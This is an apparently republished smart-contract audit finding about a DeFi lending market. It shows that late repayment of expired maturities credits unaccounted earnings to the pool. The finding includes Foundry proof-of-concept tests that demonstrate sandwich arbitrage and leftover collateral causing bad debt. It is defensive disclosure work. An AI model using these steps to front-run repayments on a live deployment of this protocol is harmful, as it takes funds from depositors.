Expired maturities longer than `FixedLib.INTERVAL` with unaccrued earnings may be arbitraged and/or might lead to significant bad debt creation
The protocol's totalAssets() function ignores unaccrued earnings from maturities that expired more than one interval ago, while repayAtMaturity() still converts those earnings into floating assets. An attacker could sandwich a late repayment to capture risk-free profit, and liquidations could leave leftover collateral that prevents bad debt from being cleared.
0x73696d616f Follow with BowTiedOriole, Emmanuel and 2 others
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/158
The protocol has acknowledged this issue.
Found by
0x73696d616f, BowTiedOriole, Emmanuel, Trumpero, elhaj
Summary
Market::totalAssets() only accounts for the unassigned earnings of maturities that are in the future or during the past interval. Thus, if a maturity is repaid which was due more than 1 INTERVAL, totalAssets() will not account for it. This will impact users due to arbitrage and create bad debt during liquidations as collateral will be leftover, making it impossible to clean the bad debt.
Vulnerability Detail
Market::totalAssets() includes the unassigned earnings up to block.timestamp - (block.timestamp % FixedLib.INTERVAL);, disregarding past maturities.
Market::repayAtMaturity() will convert into floatingAssets the past unassigned earnings, no matter how late the repayment is.
This discrepancy allows attackers to arbitrage the Market with minimal exposure (by sandwiching) the repayment.
Possible worse, it will lead to a lot of bad debt creation, as liquidations preview the seizeAvailable of a liquidatee in Auditor::checkLiquidation(), but the actual collateral balance of the user will be bigger due to the unaccrued earnings being converted to floatingAssets.
The following 2 POCs demonstrate both scenarios, add the tests to Market.t.sol:
function test_POC_expired_maturities_LeftoverCollateral() external {
uint256 maturity = FixedLib.INTERVAL * 2;
uint256 assets = 10_000 ether;
ERC20 asset = market.asset();
deal(address(asset), ALICE, 2*assets);
// ALICE deposits and borrows at maturity
vm.startPrank(ALICE);
market.deposit(assets, ALICE);
market.borrowAtMaturity(maturity, assets*78*78/100/100, type(uint256).max, ALICE, ALICE);
vm.stopPrank();
skip(2*maturity);
// BOB deposits just to clear earnings accumulator and floating debt,
// which would impact calculations. The discrepancy in totalAssets()
// will be only due to floatingAssets increase by repaying maturities
// It also deposits collateral to pay the liquidator
vm.prank(BOB);
market.deposit(assets, BOB);
// ALICE has more debt than collateral, so all collateral should be seized
(uint256 aliceAssets, uint256 aliceDebt) = market.accountSnapshot(ALICE);
assertGt(aliceDebt, aliceAssets);
address liquidator = makeAddr("liquidator");
deal(address(asset), liquidator, 100_000 ether);
vm.startPrank(liquidator);
asset.approve(address(market), type(uint256).max);
market.liquidate(ALICE, type(uint256).max, market);
vm.stopPrank();
// ALICE has leftover shares due to the floating assets increase
// when paying the due maturity, so some debt will never be repaied
(aliceAssets, aliceDebt) = market.accountSnapshot(ALICE);
assertEq(aliceAssets, 46671780821917806592); // 46e18 assets
assertEq(aliceDebt, 4005059259761449851306); // 4005e18 debt
}
function test_POC_expired_maturities_may_be_arbitraged() external {
uint256 maturity = FixedLib.INTERVAL * 2;
uint256 assets = 10_000 ether;
ERC20 asset = market.asset();
deal(address(asset), ALICE, 2*assets);
// ALICE deposits and borrows at maturity
vm.startPrank(ALICE);
market.deposit(assets, ALICE);
market.borrowAtMaturity(maturity, assets*78*78/100/100, type(uint256).max, ALICE, ALICE);
vm.stopPrank();
skip(maturity + FixedLib.INTERVAL + 1);
// BOB frontruns ALICE's repayment
vm.prank(BOB);
uint256 bobShares = market.deposit(assets, BOB);
// ALICE Repays, accruing the unassigned earnings to floating assets
vm.prank(ALICE);
market.repayAtMaturity(maturity, type(uint256).max, type(uint256).max, ALICE);
// BOB got free assets
assertEq(market.previewRedeem(bobShares), 10046671780821917806594);
}
Impact
Risk free arbitrage by attackers and significant bad debt creation which may not be cleared on liquidations.
Code Snippet
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L478-L479 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L786 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L929-L941 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Auditor.sol#L219 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Auditor.sol#L248
Tool used
Manual Review
Vscode
Foundry
Recommendation
Convert the unaccrued earnings to earningsAccumulator instead of directly to floating assets. In Market::totalAssets(), remove the section of previewing unaccrued earnings, as they will go through the earningsAccumulator and can not be arbitraged.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely totalAssets() only previews unaccrued earnings for maturities within the current or previous interval, whereas repayAtMaturity() credits all past unaccrued earnings to floating assets regardless of how late the repayment is.
Impact
Attackers could earn risk-free arbitrage profit, and significant bad debt could be created that may not be cleared during liquidations because collateral is left over.
What the attacker needed
A borrower with an expired maturity; attacker can deposit before repayment; a liquidator for the bad debt case
The fix
Unaccrued earnings should be converted into the earningsAccumulator rather than directly into floating assets, and totalAssets() should stop previewing unaccrued earnings.
How it was found
- Alice deposits collateral and borrows at a maturity two intervals in the future.
- Time is advanced well past that maturity and the following interval.
- Bob deposits assets to clear the earnings accumulator and floating debt, and to provide collateral for the liquidator.
- The liquidator liquidates Alice, but Alice keeps leftover shares because the late repayment increased floating assets.
- In the arbitrage variant, Bob deposits just before Alice repays the expired maturity, then redeems after the repayment for a profit.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A lending market tracks how much money it holds using a function called totalAssets. Some interest earned on loans that have already passed their due date was not counted in that total, but it was still added to the pool when the borrower finally repaid. Because the pool's value jumped unexpectedly, someone could deposit just before the repayment and withdraw just after to take a share of that jump, and liquidations could leave debt that can never be fully cleared.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.